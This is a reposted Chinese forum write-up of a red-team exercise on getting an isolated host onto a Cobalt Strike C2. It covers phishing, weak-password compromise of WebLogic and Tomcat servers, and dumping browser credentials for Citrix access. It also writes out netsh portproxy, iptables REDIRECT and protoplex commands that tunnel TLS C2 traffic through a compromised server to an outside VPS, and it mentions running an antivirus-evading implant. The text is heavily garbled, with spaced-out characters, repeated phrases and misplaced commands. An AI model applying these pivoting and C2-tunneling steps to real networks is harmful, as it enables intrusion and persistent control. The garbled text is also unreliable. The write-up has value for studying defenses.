设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [27368] 2021-05-27_记一次攻防演练极端环境下不出网机 ...
返回列表 发新帖
查看: 2|回复: 0

[27368] 2021-05-27_记一次攻防演练极端环境下不出网机器上线

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 4 天前 | 显示全部楼层 |阅读模式
2021-05-27_记一次攻防演练极端环境下不出网机器上线 记 一 次 攻 防 演 练 极 端 环 境 下 不 出 网 机 器 上 线 原 创   h u a h u   N E O 攻 防 队   2 0 2 1 - 0 5 - 2 7 前 言 前 言 打 某 目 标 时 ， 通 过 钓 鱼 进 入 了 办 公 网 和 开 发 网 ( 双 网 卡 ) 。 然 后 顺 着 开 发 网 用 顺 着 开 发 网 用 s s h 弱 口 令 和 弱 口 令 和 w e b l o g i c 、 、 t o m c a t 打 了 大 概 百 来 台 打 了 大 概 百 来 台 机 机 器 器 ， 这 是 前 提 。 正 文 正 文 1 、 突 破 网 段 、 突 破 网 段 通 过 浏 览 器 凭 证 浏 览 器 凭 证 d u m p 工 具 工 具 d u m p 出 出 c i t r i x 云 桌 面 的 账 号 密 码 以 及 登 录 地 址 云 桌 面 的 账 号 密 码 以 及 登 录 地 址 。 挂 上 代 理 直 接 下 载 直 接 下 载 c i t r i x 连 接 工 具 拨 过 去 即 通 连 接 工 具 拨 过 去 即 通 过 过 v p n 突 破 至 了 另 一 个 带 域 的 网 段 突 破 至 了 另 一 个 带 域 的 网 段 ， 且 该 网 段 该 网 段 不 出 网 不 出 网 。 2 、 上 线 不 出 网 主 机 、 上 线 不 出 网 主 机 由 于 我 们 控 制 不 出 网 主 机 目 前 是 以 c i t r i x 云 桌 面 控 制 的 ， 如 果 在 白 天 我 们 肯 定 不 能 这 样 操 作 的 ， 因 为 这 些 机 器 都 是 有 主 的 ， 白 天 都 是 有 人 使 用 这 些 机 器 白 天 都 是 有 人 使 用 这 些 机 器 ， 因 此 我 们 需 要 想 办 法 把 他 上 线 到 c s 上 ， 这 样 我 们 白 天 的 时 候 也 可 以 打 内 网 了 ， 以 下 把 不 出 网 主 机 命 名 为 命 名 为 A 。 路 径 一 路 径 一 首 先 尝 试 了 A 与 我 控 制 的 出 网 主 机 是 否 连 同 ， 最 后 发 现 主 机 和 我 控 制 的 一 台 出 网 机 器 B 可 以 p i n g 可 以 通 。 因 此 我 首 先 尝 试 n e t s h 将 所 有 访 问 将 所 有 访 问 B 的 的 5 3 端 口 的 流 量 都 转 到 端 口 的 流 量 都 转 到 v p s 的 的 8 0 8 0 端 口 端 口 ， 随 后 我 用 用 A 的 的 c e r t u t i l 访 问 访 问 B 的 的 5 3 ， 发 现 并 不 连 通 。 后 来 我 又 把 把 5 3 换 成 了 换 成 了 1 1 0 、 、 8 0 、 、 7 0 0 1 发 现 都 不 行 发 现 都 不 行 ， 再 后 来 我 又 把 把 A 和 和 B 的 主 机 防 火 墙 全 部 关 闭 ， 发 现 还 是 不 行 的 主 机 防 火 墙 全 部 关 闭 ， 发 现 还 是 不 行 。 可 以 大 致 判 断 是 网 络 端 做 了 限 制 。 路 径 二 路 径 二 由 于 出 网 机 器 B 性 质 为 个 人 开 发 的 p c ， 因 此 从 A 访 问 B 的 所 有 端 口 都 不 通 是 符 合 逻 辑 的 。 这 时 我 想 到 了 之 前 控 制 的 一 批 开 发 网 内 的 服 务 器 ， 按 理 说 服 务 器 的 端 口 应 该 是 对 大 家 开 放 的 ， 因 此 我 控 制 A 的 c e r t u t i l 访 问 了 n e t s h   i n t e r f a c e   p o r t p r o x y   a d d   v 4 t o v 4   l i s t e n p o r t = 5 3   l i s t e n a d d r e s s = 0 . 0 . 0 . 0   c o n n e c t p o r t = 8 0 8 0   c o n n e c t a d d r e s s = x x x . x x x . x x x . x x x
之 前 打 下 来 的 一 个 w e b l o g i c 服 务 器 ( l i n u x ) 的 7 0 0 1 端 口 ， 这 里 把 这 台 w e b l o g i c 命 名 为 C ， 果 然 能 够 请 求 到 内 容 。 然 后 我 使 用 C 的 c u r l 了 B 机 器 的 5 3 ， 发 现 访 问 到 了 v p s 的 8 0 8 0 端 口 。 证 明 了 C 和 B 是 通 的 。 此 时 由 于 我 当 时 获 得 的 w e b l o g i c 并 非 r o o t 权 限 ， 所 以 没 使 用 i p t a b l e s 转 发 ， 而 是 使 用 了 一 款 名 为 名 为 i o x 的 工 具 的 工 具 做 转 发 ， 将 所 有 发 向 C 的 7 0 0 3 端 口 的 流 量 转 发 到 B 的 5 3 端 口 。 然 后 使 用 A 机 器 c e r t u t i l 访 问 C 的 7 0 0 3 ， 发 现 不 通 。 然 后 我 在 C 上 执 行 c u r l   1 2 7 . 0 . 0 . 1 : 7 0 0 3 ， 发 现 流 量 转 发 是 成 功 的 ， 可 以 访 问 到 v p s 的 8 0 8 0 端 口 。 那 么 很 显 然 限 制 还 是 出 在 网 络 层 。 于 是 我 更 换 C 的 7 0 0 3 端 口 为 8 0 、 8 0 8 0 、 5 3 、 1 1 0 等 端 口 尝 试 b y p a s s ， 结 果 都 失 败 了 。 于 是 我 又 更 换 了 数 台 服 务 器 进 行 操 作 ， 发 现 都 是 不 行 ， 于 是 这 条 路 径 又 失 败 了 于 是 这 条 路 径 又 失 败 了 。 路 径 三 路 径 三 此 时 ， 突 然 想 到 了 之 前 在 “ 零 队 零 队 ” 公 众 号 上 看 到 的 一 篇 文 章 ： “ f r s o c k s + p r o t o p l e x + 流 量 重 定 向 实 现 端 口 复 用 流 量 重 定 向 实 现 端 口 复 用 ” 。 又 看 了 一 次 文 章 后 突 然 茅 塞 顿 开 茅 塞 顿 开 ： A 可 以 访 问 C 的 7 0 0 1 端 口 ， 而 C 的 7 0 0 1 端 口 使 用 的 是 h t t p 协 议 ， 而 如 果 我 在 w e b l o g i c 上 做 一 个 端 口 复 用 ， 将 访 问 7 0 0 1 端 口 的 h t t p 协 议 转 发 到 1 2 7 . 0 . 0 . 1 的 7 0 0 1 端 口 也 就 是 其 本 身 ， 将 访 问 7 0 0 1 端 口 的 t l s 协 议 流 量 转 发 到 B 的 5 3 端 口 。 然 后 我 的 马 使 用 h t t p s 上 线 到 C 的 7 0 0 1 端 口 岂 不 是 就 出 来 了 ？ C 机 器 执 行 ： 上 面 执 行 的 命 令 解 释 一 下 为 ： 1 .   B 机 器 所 在 B 段 的 i p 在 访 问 C 的 7 0 0 1 端 口 时 会 被 重 定 向 到 9 9 9 9 端 口 2 .   p r o t o p l e x 软 件 监 听 c 的 9 9 9 9 端 口 将 9 9 9 9 端 口 的 流 量 进 行 分 流 ， h t t p 的 转 发 到 1 2 7 . 0 . 0 . 1 上 ， t l s 转 发 到 A 机 器 的 5 3 端 口 。 上 面 两 句 命 令 有 很 多 门 道 ， 首 先 i p t a b l e s 的 的 - - t o - p o r t s   9 9 9 9 是 在 哪 个 时 间 段 修 改 了 数 据 包 目 的 端 口 为 9 9 9 9 。 i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - m   t c p     - s   B 所 在 的 b 段 i p / 1 6     - - d p o r t   7 0 0 1   - j   R E D I R E C T   - - t o - p o r t s   9 9 9 9 . / p r o t o p l e x   - - h t t p   1 2 7 . 0 . 0 . 1 : 7 0 0 1   - - t l s   A i p : 5 3   - b   c i p : 9 9 9 9
关 键 点 在 于 i p t a b l e s 将 d p o r t 修 改 为 9 9 9 9 是 在 数 据 包 进 入 本 机 修 改 的 还 是 未 进 入 本 机 修 改 的 。 如 果 未 进 入 主 机 修 改 的 ， 那 么 就 等 于 目 的 访 问 地 址 为 : C i p : 9 9 9 9 。 而 进 入 本 机 的 话 再 修 改 目 的 端 口 的 ， 目 的 地 址 就 为 本 机 的 1 2 7 . 0 . 0 . 1 : 9 9 9 9 ， 是 可 以 访 问 通 的 。 当 然 我 之 前 也 不 清 楚 是 哪 种 ， 不 过 最 后 我 成 功 了 ， 就 说 明 - j   R E D I R E C T 实 现 的 是 第 二 种 ， 也 就 是 先 进 入 本 机 然 后 再 修 改 目 的 端 口 。 而 至 于 p r o t o p l e x 的 命 令 为 什 么 把 - - h t t p 后 的 目 的 地 址 写 为 1 2 7 . 0 . 0 . 1 : 7 0 0 1 而 不 是 C i p : 7 0 0 1 ， 是 因 为 C i p 包 含 在 B 所 在 的 b 段 i p / 1 6 中 ， 如 果 那 样 写 数 据 包 会 一 直 循 环 ， 导 致 目 标 的 h t t p 异 常 。 因 此 通 过 上 面 的 两 条 命 令 ， 我 成 功 达 到 了 客 户 访 问 其 服 务 器 业 务 正 常 ， 而 我 的 马 同 样 也 可 以 从 A - > C （ 7 0 0 1 端 口 t l s 协 议 ） - > B （ 5 3 端 口 ） - > C 2 : 7 0 0 1 端 口 ： 然 后 启 动 一 个 h t t p s 的 监 听 器 ， i p 填 为 C 的 i p ， 端 口 为 7 0 0 1 。 再 制 作 一 个 免 杀 马 ， 在 不 出 网 的 A 机 器 运 行 即 可 上 线 成 功 ： 结 束 结 束 如 果 排 除 经 常 欧 洲 作 息 以 外 ， 渗 透 还 是 挺 好 玩 的 。 。 。 . / p r o t o p l e x   - - h t t p   1 2 7 . 0 . 0 . 1 : 7 0 0 1   - - t l s   A i p : 5 3   - b   c i p : 9 9 9 9
个 人 博 客 ， 大 佬 轻 喷 ： h t t p s : / / f l o w e r w i n d . g i t h u b . i o / 参 考 参 考 h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 d v B M y R y j n m S _ I T c 6 a 6 A B w
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 07:22 , Processed in 0.152229 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表